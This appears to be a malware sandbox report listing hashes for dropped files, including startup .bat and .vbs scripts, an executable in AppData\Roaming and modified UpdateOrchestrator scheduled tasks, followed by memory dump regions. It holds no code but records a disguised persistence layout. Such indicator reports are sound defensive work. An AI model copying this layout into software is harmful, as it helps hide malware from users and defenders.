96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9F4D.tmp.bat

Filesize
152B

MD5
2bccff1885423f61cda18492a321a537

SHA1
4d168ca2e32d12308ab4bb8ca18331cfa58205e5

SHA256
9c539afdadf8865695c92a1bfa5e5e51352df4671e213ae7f7b3f5280cdf12bc

SHA512
406385c7b587f7f0d0c45979e309d43ba280ea1a56759c24ce4e2bdb671e081cc6bb17cd279a6778170d6945d10c624ad91fee127ab89cb212ec5af54fe2082e

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_676.bat

Filesize
395KB

MD5
fbcad94ee92cc636d8bba4f642130122

SHA1
e6efade17853c9d8cd4948c066d305ae7eb63f92

SHA256
14ff4d8940a0742974ca662986e8c421e2b0ee7c4dd3bad42133a06d83ff01e7

SHA512
a8aecd98d6ec6ccd40c76878d2f5669cb0260c9717af332adb053c7709a17669dc1d8906dae48081fc8e0f3712b462af013187975951b4b9a618ca1e08319de4

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_676.vbs

Filesize
124B

MD5
afae7f8bc3b10d6b53ea9814e4e0f0ab

SHA1
178ab937a139863383118bc08478b90e1c2b922e

SHA256
ff1aa49b6e6b8203a25b5481b71f0a7791ee976a7870abdef11ccc862a9b3448

SHA512
fb15eed07adbe04f28f85ee5616c72c98ebb1a2865b2f9f39f2c48b245a1cba20fd06b8d43e8f8da3e76a5a9f79ee8125a4304baaa56a323141642d434f84a2b

Download Submit
C:\Users\Admin\AppData\Roaming\sysvlrhp.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/740-114-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/760-71-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/960-65-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/1176-63-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/1336-112-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/1452-113-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/1528-58-0x000002E2F1C80000-0x000002E2F1C96000-memory.dmp

Filesize
88KB

Download
memory/1552-67-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/1704-111-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/1944-66-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/1952-64-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/2140-68-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/2152-61-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/2296-97-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/2340-116-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/2720-115-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/3540-50-0x0000000002D10000-0x0000000002D3A000-memory.dmp

Filesize
168KB

Download
memory/3540-59-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

Filesize
64KB

Download
memory/3584-28-0x00007FFF70300000-0x00007FFF70DC1000-memory.dmp

Filesize
10.8MB

Download
memory/3584-27-0x00007FFF70300000-0x00007FFF70DC1000-memory.dmp

Filesize
10.8MB

Download
memory/3584-29-0x00007FFF70300000-0x00007FFF70DC1000-memory.dmp

Filesize
10.8MB

Download
memory/3584-32-0x00007FFF70300000-0x00007FFF70DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-16-0x000001BE32270000-0x000001BE322BC000-memory.dmp

Filesize
304KB

Download
memory/4888-62-0x00007FFF70300000-0x00007FFF70DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-60-0x00007FFF70303000-0x00007FFF70305000-memory.dmp

Filesize
8KB

Download
memory/4888-0-0x00007FFF70303000-0x00007FFF70305000-memory.dmp

Filesize
8KB

Download
memory/4888-15-0x000001BE17DE0000-0x000001BE17DE8000-memory.dmp

Filesize
32KB

Download
memory/4888-14-0x000001BE322F0000-0x000001BE32366000-memory.dmp

Filesize
472KB

Download
memory/4888-13-0x000001BE31FD0000-0x000001BE32014000-memory.dmp

Filesize
272KB

Download
memory/4888-12-0x00007FFF70300000-0x00007FFF70DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-11-0x00007FFF70300000-0x00007FFF70DC1000-memory.dmp

Filesize
10.8MB

Download
memory/4888-6-0x000001BE17D50000-0x000001BE17D72000-memory.dmp

Filesize
136KB

Download